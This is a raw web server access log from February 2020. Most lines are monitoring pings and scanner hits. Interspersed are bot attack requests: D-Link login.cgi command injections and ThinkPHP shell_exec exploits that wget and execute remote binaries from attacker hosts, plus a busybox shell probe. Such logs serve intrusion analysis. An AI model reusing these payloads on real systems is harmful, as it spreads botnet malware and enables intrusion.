103.111.80.170 - - [21/Feb/2020:18:26:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:18:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [21/Feb/2020:18:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:18:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.162.108.138 - - [21/Feb/2020:18:37:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:18:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.98.131.174 - - [21/Feb/2020:18:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:18:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.132.195.33 - - [21/Feb/2020:18:40:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
125.128.241.71 - - [21/Feb/2020:18:41:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [21/Feb/2020:18:41:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [21/Feb/2020:18:41:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.15.182.41 - - [21/Feb/2020:18:41:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
125.128.241.71 - - [21/Feb/2020:18:41:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:18:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [21/Feb/2020:18:41:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
124.43.8.138 - - [21/Feb/2020:18:42:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:18:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.121.38.30 - - [21/Feb/2020:18:44:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.205.251.97 - - [21/Feb/2020:18:44:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:18:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [21/Feb/2020:18:45:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
196.52.43.90 - - [21/Feb/2020:18:46:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:18:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.121.38.30 - - [21/Feb/2020:18:47:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:18:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.121.38.30 - - [21/Feb/2020:18:47:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
193.121.38.30 - - [21/Feb/2020:18:48:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:18:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.121.38.30 - - [21/Feb/2020:18:48:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:18:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.121.38.30 - - [21/Feb/2020:18:50:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
87.236.27.177 - - [21/Feb/2020:18:50:22 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [21/Feb/2020:18:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.58.38 - - [21/Feb/2020:18:50:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
193.121.38.30 - - [21/Feb/2020:18:51:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:18:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.121.38.30 - - [21/Feb/2020:18:52:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:18:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.121.38.30 - - [21/Feb/2020:18:53:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
193.121.38.30 - - [21/Feb/2020:18:53:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:18:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.61 - - [21/Feb/2020:18:55:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [21/Feb/2020:18:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.86.61.204 - - [21/Feb/2020:18:57:47 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [21/Feb/2020:18:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.255.76.26 - - [21/Feb/2020:19:05:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:19:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [21/Feb/2020:19:09:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:19:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.242.155 - - [21/Feb/2020:19:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:19:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.210.42.160 - - [21/Feb/2020:19:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:19:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.6.75.20 - - [21/Feb/2020:19:25:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:19:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.214.125.193 - - [21/Feb/2020:19:27:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:19:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [21/Feb/2020:19:31:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:19:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.124.162.73 - - [21/Feb/2020:19:35:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:19:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.244.64.50 - - [21/Feb/2020:19:43:44 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [21/Feb/2020:19:43:45 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [21/Feb/2020:19:43:45 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [21/Feb/2020:19:43:45 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [21/Feb/2020:19:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [21/Feb/2020:19:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [21/Feb/2020:19:48:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:19:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.180.254 - - [21/Feb/2020:19:51:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [21/Feb/2020:19:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.209.102.59 - - [21/Feb/2020:19:51:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:19:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:19:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
131.108.164.19 - - [21/Feb/2020:20:02:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:20:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.186.93.51 - - [21/Feb/2020:20:07:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:20:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
